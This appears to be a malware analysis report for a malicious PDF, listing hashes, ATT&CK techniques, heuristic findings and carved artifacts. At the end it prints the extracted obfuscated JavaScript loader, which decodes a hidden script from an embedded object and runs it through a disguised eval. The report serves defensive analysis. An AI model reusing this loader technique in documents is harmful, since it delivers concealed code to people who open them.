Malicious PDF — malware analysis report

Static analysis result for SHA-256 b5e2adf3925d2e67…

MALICIOUS

PDF

5.9 KB First seen: 2026-05-09
MD5: ab7aae0ffddba0ecc1622474ca9be8fa SHA-1: a5222d16d335dc377465c4d6b5c5409bf37c7c79 SHA-256: b5e2adf3925d2e670074805a5910c9c475b6d7636a39aa4e1d6273e226863fba
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The PDF file was flagged by an ML classifier as malicious with high confidence. It contains embedded JavaScript and an embedded binary file, indicating a likely attempt to download and execute a secondary payload. The presence of these embedded artifacts strongly suggests a malicious intent, although the specific family could not be determined.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 150084 bytes
SHA-256: fc2c5e685a1625ad77e2088263eced54dd8067624b862e3a7003b99ac7acef81
Detection
ClamAV: No threats found
Obfuscation or payload: likely
327 of 327 identifiers look randomly generated (e.g. 'nSWDP5Z71rFkRhbqe1nSWDP5Z71rFkRhbqe2nSWD') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);

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